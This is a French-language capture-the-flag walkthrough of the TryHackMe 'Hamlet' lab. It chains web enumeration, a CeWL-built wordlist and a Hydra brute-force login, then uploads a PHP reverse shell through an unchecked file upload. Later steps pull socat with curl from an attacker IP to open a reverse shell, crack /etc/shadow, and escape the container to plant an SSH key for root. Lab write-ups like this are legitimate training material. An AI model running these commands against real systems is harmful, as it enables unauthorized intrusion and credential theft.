Hamlet – Walkthrough Fr | TryHackMe – Write-up

Hamlet est un CTF de Tryhackme où il faudra effectuer une énumération assez poussée puis assembler les morceaux avec Cewl et Hydra pour contourner l’authentification. A la fin, il faudra s’échapper du containeur.

 

Enumération

Commande :

nmap -T5 -sV -p- 10.10.78.81

Enumération WEB

Sur les trois services web, il faut parser les répertoires voir ce qu’il peut y avoir d’intéressant. Opération effectuée avec Dirsearch

Commande :

dirsearch -u 10.10.78.81 -x 403

dirsearch -u 10.10.78.81:8000 -x 403

 

dirsearch -u 10.10.78.81:8080 -x 400,401,403,404,500

 

Il n’y a rien de probant qui apparait.

Sur le port 80, on a la possibilité de récupérer un fichier hamlet.txt, ainsi qu’une information concernant Michael ‘ghost’ qui semble être obsédé par un dénommé Hamlet.

Sur le port 8000, il y a la même chose ou presque. En effet, le texte sur hamlet semble être le même que sur le port 80. Il s’agit en fait d’une iframe dont la source se trouve à cette adresse : /repository/project/0/document/0/source/hamlet.txt  

Sur le port 8080, le site propose de se connecter avec des identifiants que l’on n’a pas.

Enumération FTP

L’accès au serveur FTP se fait avec le compte anonymous mais pour d’obscures raisons, je n’ai pu y accéder qu’à partir de Firefox.

On récupère des règles de par feu avec le fichier ufw.status et des règles de politique de mots de passe avec le fichier password-policy.md

À ce stade le fichier password-policy.md est très intéressant, car il nous donne la longueur et la complexité du mot de passe.

  • une longueur de 12 à 14 caractères
  • tout en minuscule

Bruteforce login - Cewl - Wordlist

À l’aide de cewl et le fichier hamet.txt, on va créer une liste de mot de passe.

Commande :

cewl -m 12 –lowercase -w password_list.txt http://10.10.78.81/hamlet.txt

 

 

Bruteforce login - Hydra

Avec cette liste de mots de 12  caractères minimum, en minuscule, on va avec Hydra bruteforcer le login de l’utilisateur ghost

hydra -V -l ghost -P test.txt 10.10.78.81 -s 8080 http-post-form -m « /login.html?-1.-loginForm:urlfragment=&username=^USER^&password=^PASS^&Login=Login:’Login failed' »

 

Initial foothold - WebAnno Login

Une fois connecté, il faut créer un nouveau projet. Puis, il faut lui ajouter un document. À la place d’un fichier texte, on va lui mettre un reverse shell en PHP. Il ne vérifie ni le contenu, ni l’extension du fichier.

Dans l’onglet documents, on peut en cliquant sur Browse, insérer le reverse shell. Le shell utilisé est celui de pentestmonkey  disponible en téléchargement direct à cette adresse. https://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz

Activation du reverse shell.

Il ne reste plus qu’a trouvé ou ce dernier a été enregistré. Il faut se souvenir que sur le port 8000, on avait trouvé l’emplacement du document hamlet.txt

/repository/project/0/document/0/source/hamlet.txt

En remplacement les 0 par des 1 et hamlet.txt par shell.php, on peut retrouver notre reverse_shell. L’adresse final http://10.10.78.81:8000/repository/project/1/document/1/source/shell.php

Avant de valider le lien, il faut mettre en place un écouteur netcat.

Commande :

nc -nlvp 1234

Upgrade shell avec socat.

Python n’étant pas installé ni socat d’ailleurs, il est assez difficile d’énumérer le système. Pour parer à ça, je vais télécharger le binaire socat et l’utiliser pour upgrader le shell.

Lien pour télécharger socat https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat

Il faut le télécharger ensuite sur la machine victime. WGET n’étant pas installé, il faut utiliser CURL

Commande :

curl -O http://10.11.38.124:8000/socat

Commande avec un serveur web sur kali :

python3.9 -m http.server

Puis faire ses deux commandes :

chmod +x socat

Écouteur sur kali :

socat file:`tty`,raw,echo=0 tcp-listen:4444

Commande sur la machine victime :

/tmp/socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:10.11.38.124:4444

 

Mouvement horizontal - root

On est dans un conteneur, mais on a la possibilité de casser le mot de passe du compte. Le fichier shadow est accessible. Après avoir copie le contenu du /etc/shadow et /etc/passwd il faut utiliser unshadow et johntheripper

Commande :

unshadow passwd shadow > unshadow

john unshadow –format=crypt –wordlist=/usr/share/wordlists/rockyou.txt

Escalade de privilège.

Maintenant que nous sur le compte, on a la possibilité de faire toutes les manipulations possibles.

Énumération locale :

Dans /dev, on peut un certain nombre de disques.

ls -al /dev/ | grep disk

Comme on peut le voir il y a plusieurs disques dont xvda1 2 et 3.

Seul xvda2 peut-être monté dans un dossier. Les deux autres ne peuvent pas l’être.

Une fois que l’on a monté les xvda2 dans le dossier /mnt/xvda2_fake, on peut récupérer le flag root. Il est aussi possible de créer une clé privée ssh et de s’en servir pour se connecter sur le système.

Montage de xvda2 :

mkdir /mnt/xvda2_fake

mount /dev/xvda2 /mnt/xvda2_fake/

Création d’une clé id_rsa :

ssh key-gen

Copie id_rsa.pub dans authorized_keys:

echo ‘id_rsa.pub’ >> authorized_keys

Connexion ssh:

chmod 600 id_rsa

ssh root@10.10.78.81 -i id_rsa

#

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles choses.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest